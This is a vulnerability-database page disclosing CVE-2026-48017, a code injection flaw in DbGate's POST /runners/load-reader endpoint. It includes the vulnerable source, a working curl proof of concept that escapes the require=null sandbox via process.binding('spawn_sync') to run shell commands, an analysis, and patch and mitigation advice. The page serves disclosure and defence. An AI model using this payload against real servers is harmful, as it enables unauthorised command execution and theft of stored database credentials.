Skip to main content

DbGate CVE-2026-48017

HIGH
Code Injection (CWE-94)
2026-06-05 https://github.com/dbgate/dbgate GHSA-hv83-ggc4-v385
8.8
CVSS 3.1 · Vendor: https://github.com/dbgate/dbgate
Share

Severity by source

Vendor (https://github.com/dbgate/dbgate) PRIMARY
8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.

CVSS VectorVendor: https://github.com/dbgate/dbgate

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 05, 2026 - 17:18 vuln.today
Analysis Generated
Jun 05, 2026 - 17:18 vuln.today
CVE Published
Jun 05, 2026 - 16:39 nvd
HIGH 8.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 npm packages depend on dbgate-api (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 7.1.9.

DescriptionCVE.org

Summary

The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.

Details

The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:

Vulnerable code (permalink):

javascript
  loadReader_meta: true,
  async loadReader({ functionName, props }) {
    if (!platformInfo.isElectron) {
      if (props?.fileName && !checkSecureDirectories(props.fileName)) {
        return { errorMessage: 'DBGM-00289 Unallowed file' };
      }
    }
    const prefix = extractShellApiPlugins(functionName)
      .map(packageName => `// @require ${packageName}\n`)
      .join('');

    const promise = new Promise((resolve, reject) => {
      const runid = crypto.randomUUID();
      this.requests[runid] = { resolve, reject, exitOnStreamError: true };
      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
    });
    return promise;
  },

The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:

javascript
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;

The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:

typescript
export function compileShellApiFunctionName(functionName) {
  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
  if (nsMatch) {
    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
  }
  return `dbgateApi.${functionName}`;
}

Two injection vectors:

  1. Without @: The entire functionName is appended after dbgateApi. without sanitization
  2. With @: The part before @ (nsMatch[1]) is appended after .shellApi. without sanitization (only the part after @ goes through _camelCase)

Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.

Compare with safe code in the same file (line 292):

javascript
  start_meta: true,
  async start({ script }, req) {
    // ...
    await testStandardPermission('run-shell-script', req);  // <-- Permission check!
    if (!platformInfo.allowShellScripting) {                 // <-- Platform check!
      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
    }
    // ...
  },

The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.

PoC

An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:

bash
# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.

curl -X POST http://TARGET:3000/runners/load-reader \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -d '{
    "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
    "props": {}
  }'

This generates the following JavaScript that is forked as a child process:

javascript
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);

After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.

A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py

Impact

An authenticated user with basic access (no admin role, no run-shell-script permission required) can:

  1. Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
  2. Read/write any file accessible to the process
  3. Pivot to connected databases by reading connection credentials from DbGate's storage
  4. Compromise the host system - in Docker deployments, this typically means root access within the container

This is particularly severe because:

  • No special permissions are required beyond basic authentication
  • The require=null sandbox is completely bypassed via process.binding("spawn_sync")
  • The loadReader endpoint lacks the permission checks present on the start endpoint
  • DbGate is commonly deployed as a web-accessible database management tool

AnalysisAI

Remote code execution in DbGate (npm package dbgate-api) versions 7.1.8 and earlier allows any authenticated user with basic access to execute arbitrary OS commands by injecting JavaScript into the functionName parameter of the POST /runners/load-reader endpoint. The flaw stems from unsanitized string interpolation into a server-side script template, and the require=null sandbox is bypassed via process.binding("spawn_sync"). Publicly available exploit code exists (vendor-published PoC in the GHSA advisory), and the issue carries a CVSS 8.8 rating with low-complexity, low-privilege exploitation.

Technical ContextAI

DbGate is a cross-platform web-based database management tool with a Node.js API layer (npm package dbgate-api, identified by CPE pkg:npm/dbgate-api). The root cause is CWE-94 (Improper Control of Generation of Code, i.e., code injection): the loadReader controller in packages/api/src/controllers/runners.js passes the user-supplied functionName into compileShellApiFunctionName() (in packages/tools/src/packageTools.ts), which only applies a regex split on @ and _camelCase to one segment, performing no validation or escaping before the result is concatenated into a JavaScript template literal that is then forked as a child process via startCore. While the template sets require=null to sandbox the executed code, the Node.js process global remains reachable, and process.binding('spawn_sync') exposes a low-level child-process spawn primitive that escapes the sandbox entirely. Unlike the sibling start endpoint, loadReader does not call testStandardPermission('run-shell-script', req) nor check platformInfo.allowShellScripting, so any logged-in user reaches the sink.

RemediationAI

Vendor-released patch: dbgate-api 7.1.9 - upgrade immediately via npm install dbgate-api@7.1.9 (or pull the corresponding DbGate 7.1.9 Docker image / release from https://github.com/dbgate/dbgate/releases/tag/v7.1.9). If patching cannot be performed right away, place the DbGate instance behind a reverse proxy or WAF rule that blocks POST /runners/load-reader requests (this disables the loadReader functionality used by the Shell/Query Reader features, so legitimate users invoking those flows will see errors), restrict network access to the DbGate UI to trusted administrators only via VPN or IP allowlist, and audit/rotate any database connection credentials stored in DbGate plus any secrets reachable from the host or container in case the issue has already been exploited. Disabling self-signup and tightening account provisioning reduces, but does not eliminate, exposure since the bug is reachable by any authenticated user. Full advisory and remediation details: https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Share

CVE-2026-48017 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy